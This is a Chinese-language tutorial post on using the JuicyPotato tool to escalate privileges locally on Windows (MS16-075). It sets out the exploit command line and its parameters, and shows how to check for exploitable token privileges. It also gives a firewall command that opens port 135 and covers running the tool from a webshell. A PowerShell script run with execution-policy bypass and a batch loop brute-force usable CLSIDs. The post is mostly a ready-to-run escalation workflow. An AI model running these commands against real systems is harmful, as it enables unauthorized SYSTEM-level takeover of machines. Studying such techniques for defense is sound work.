(CVE-2016-3225)【MS16-075】 JuicyPotato windows 本地提权漏洞

JuicyPotato是一款Windows提权工具,称为烂土豆,漏洞编号为MS16-075

官方地址:https://github.com/ohpe/juicy-potato

参数简介

简单利用

D:\>JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

Mandatory args:
-t createprocess调用: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: 运行指定程序
-l <port>: COM服务器侦听端口

Optional args:
-m <ip>: COM服务器侦听地址 (默认 127.0.0.1)
-a <argument>: 传递给程序命令行参数 (默认 NULL)
-k <ip>: RPC服务器IP地址 (默认 127.0.0.1)
-n <port>: RPC服务器侦听端口 (默认 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
https://github.com/ohpe/juicy-potato/tree/master/CLSID
-z 仅测试CLSID并打印令牌的用户

可否利用

1.whoami /priv

如果开启SeImpersonate权限:-t t
如果开启SeAssignPrimaryToken权限:-t u
如果均开启:-t *
如果均未开启:无法提权

2.查看RPC是否是135

如果被修改(例如为111),juicypotato的参数可以使用-n 111指定RPC端口

找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k

Windows默认配置下,允许135端口的入站规则即可进行远程RPC登录。

添加防火墙规则允许135端口入站的命令如下:

netsh advfirewall firewall add rule name=“135” protocol=TCP dir=in localport=135 action=allow

3.选择可用的CLSID

参考列表:https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

根据你的系统类型选择CLSID(EG:{9B1F122C-2982-4e91-AA8B-E071D54F2A4D})

然后-c指定即可

4.选择一个系统未占用的端口作为监听端口

-l参数指定即可

WebShell使用JuicyPotato

WebShell因为无法另外调用cmd所以需要使用修改过的JuicyPotato

JuicyPotato-webshell.exe -p “whoami”

新建get-clid-2012.ps1

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
foreach($a in $CLSID)
{
    Write-Host $a.CLSID
}

列出所有CLSID到CLSID.list

Powershell -ep bypass -f get-clid-2012.ps1 > CLSID.list

新建juicypotato.bat

@echo off
:: Starting port, you can change it
set /a port=10000
SETLOCAL ENABLEDELAYEDEXPANSION

FOR /F %%i IN (CLSID.list) DO (
   echo %%i !port!
   juicypotato-webshell.exe -c %%i -p "whoami" >> result.log
   set RET=!ERRORLEVEL!
   :: echo !RET!
   if "!RET!" == "1"  set /a port=port+1
)

运行juicypotato.bat随后根据log的相关输出,选择合适的CLSID进行权限提升即可

http://emonsec.com/web/590.html